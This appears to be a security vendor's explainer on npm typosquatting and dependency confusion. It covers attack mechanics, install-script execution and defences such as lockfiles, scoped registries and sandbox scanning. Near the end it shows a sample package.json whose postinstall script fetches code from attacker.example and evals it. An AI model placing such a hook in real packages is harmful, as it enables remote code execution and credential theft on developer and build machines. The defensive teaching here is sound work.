npm typosquatting and dependency confusion: how name-based attacks work and how to stop them
Two of the most reliable ways into a software supply chain do not exploit a bug at all. They exploit a name. Typosquatting and dependency confusion both trick a package manager into installing attacker-controlled code under a name a developer thought they could trust.
What is npm typosquatting?
Typosquatting is the practice of publishing a package whose name is a small edit away from a popular one. The attacker bets that some fraction of developers will mistype the name, copy a broken example from a forum, or trust autocomplete that surfaces the wrong entry. Because public registries like npm, PyPI, WordPress, Composer, and Maven let anyone publish almost any unclaimed name instantly, the cost of registering hundreds of look-alike names is close to zero.
The naming tricks are predictable. Attackers swap adjacent keyboard letters, drop or double a character, switch a hyphen for an underscore, add a plausible suffix like -js or -cli, or substitute a homoglyph that looks identical in a terminal. A package that is only one or two edits away from a widely used dependency, but published by an unknown account with no history, is the classic typosquat shape. Our malicious package database tracks confirmed examples across ecosystems, and the same name-distance logic applies to browser extensions as much as to npm.
What is dependency confusion?
Dependency confusion abuses how a package manager chooses between registries when the same name exists in more than one place. Many organizations use internal package names for private code, for example a module called acme-auth-utils that only lives on a private registry. If the build is configured so that the public registry can also be consulted for that name, an attacker who publishes acme-auth-utils publicly, often at a higher version number, can win resolution. The build then downloads the attacker's public package instead of the trusted internal one.
What makes this dangerous is that no developer made a mistake. The internal name was correct, the install command was correct, and the resolver did exactly what its configuration allowed. The defect is in trust scoping, not in spelling. This is why dependency confusion is treated as a first-class supply-chain attack rather than a user error, and why it belongs in any serious supply-chain security program.
How does install-script RCE deliver the payload?
Once the wrong package is on disk, the attacker needs code to run. In npm the easiest path is a lifecycle script. Fields like preinstall, install, and postinstall in package.json execute automatically during installation, before a single line of the package is ever imported. A one-line postinstall that pipes a remote script into a shell is enough to achieve remote code execution on a developer laptop or a continuous integration runner.
PyPI has the equivalent surface. A malicious setup.py runs arbitrary Python at install time, so an attacker can exfiltrate environment variables, read credential files, or open a reverse shell the moment a package is installed. Because installs frequently happen inside privileged build pipelines with access to cloud tokens and signing keys, install-time execution is often the highest-value moment in the whole attack. Detecting these hooks is a core part of npm package security and PyPI package security.
What do attackers steal, and how do you spot it?
The most common objective is credential theft. Malicious install scripts grep the environment for tokens, read files such as cloud credential stores and SSH keys, and post whatever they find to an attacker host. Others establish persistence, drop a second-stage binary, or beacon to a command-and-control endpoint on a schedule. Many of these behaviors leave a static fingerprint: an encoded blob that decodes to a network call, a reference to a credential path, or an outbound request that does not match the package's stated purpose.
Some signals only appear at runtime. A package can fetch its real payload after install, decode it in memory, and run it, so the source on disk looks benign. That is the gap that observed behavior closes. Pairing static analysis with a dynamic sandbox lets you catch both the readable indicators and the network and filesystem activity a package actually produces when it installs. Leaked credentials in the package itself are a related risk that secret leak detection surfaces.
How do lockfiles and scoped registries defend you?
Lockfiles are the first control. A committed package-lock.json or yarn.lock, or a Python lockfile, pins each dependency to an exact version and integrity hash. With a lockfile in place a build installs the precise artifact you reviewed, not whatever the registry resolves today, which blunts both a freshly published typosquat and a higher-version confusion package. Enforce it by using npm ci or the equivalent strict install in continuous integration so the lockfile is treated as authoritative.
The structural fix for dependency confusion is to remove the ambiguity. Use scopes for internal packages, for example @acme/auth-utils, and bind that scope to your private registry only so the public registry is never consulted for it. Where a proxy registry is used, configure it to refuse public versions of names that exist internally. The goal is that an internal name can never resolve to a public artifact, regardless of version number.
What process controls reduce name-based risk?
Technical pinning works best alongside a few habits. Disable automatic install scripts in continuous integration when a build does not need them, then re-enable selectively for the packages that genuinely require native compilation. Review every new direct dependency before it lands, paying attention to the publisher, the account age, the download trend, and whether the name is suspiciously close to something more popular. Treat a brand-new package with one maintainer and a postinstall hook as guilty until proven otherwise.
For high-value pipelines, add a scanning gate so a dependency cannot enter the build unreviewed. A scanner that understands install scripts, version diffs, and known-bad names turns a manual judgment call into an automated check. This is where package security tooling and a clear methodology for triage pay off, because the volume of dependencies in a modern project is far too high to inspect by eye on every change.
How does Extuno flag typosquats and confusion packages?
Extuno scans packages across twelve ecosystems, including npm, PyPI, WordPress, Composer, and Maven, and combines three layers on every artifact. Static analysis runs more than a thousand rules and a large catalog of secret detectors over the source, flagging install-script remote execution, encoded payloads that resolve to network calls, credential-path reads, and url-sourced dependencies. The dynamic sandbox then executes the install in a network-segmented microVM and records the real network, process, and filesystem behavior, so a payload that only appears at runtime is captured with evidence rather than inferred.
Name-distance and publisher signals catch the typosquat shape, while resolution and naming heuristics surface likely confusion candidates. Because Extuno also performs version diffing, it detects when a previously clean package turns malicious through its update channel, which is the same class of risk as a name-based attack arriving in a new release. Every finding carries the file, the line, and why it is dangerous, and results can be enforced in continuous integration through SARIF output and a pass or fail gate. The full detection rules reference documents what each layer checks.
{
"name": "acme-auth-utils",
"version": "9.9.9",
"scripts": {
"postinstall": "node -e \"require('https').get('https://attacker.example/x',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
}
}Frequently asked questions
What is the difference between typosquatting and dependency confusion?
Typosquatting relies on a human installing a misspelled or look-alike name, so the attacker registers names close to popular packages. Dependency confusion relies on a resolver choosing a public package over a private internal one of the same name, usually by publishing a higher public version. One exploits a typo, the other exploits trust scoping between registries.
Why are install scripts so dangerous?
npm lifecycle scripts like preinstall and postinstall, and a PyPI setup.py, run automatically during installation and before the package is imported. Installs often happen in privileged build pipelines with access to cloud tokens and keys, so install-time code execution gives an attacker a high-value foothold without any application code running.
Do lockfiles stop dependency confusion?
Lockfiles help a lot because they pin exact versions and integrity hashes, so a build installs the artifact you reviewed rather than a newly resolved one. They are not a complete fix on their own, though. The structural defense is to scope internal package names to a private registry so a public package can never resolve for an internal name.
How can I tell if a package is a typosquat before installing it?
Check whether the name is only one or two edits from a more popular package, look at the publisher account age and history, watch for an unusually new package with few downloads, and inspect package.json for install scripts. A scanner that scores name distance, publisher signals, and install-script behavior automates this check at scale.
Can a malicious package look clean in its source code?
Yes. A package can fetch its real payload after installation, decode it in memory, and execute it, so the files on disk appear benign. Static analysis alone can miss this, which is why dynamic execution in a sandbox that records actual network and filesystem activity is needed to catch runtime-only behavior.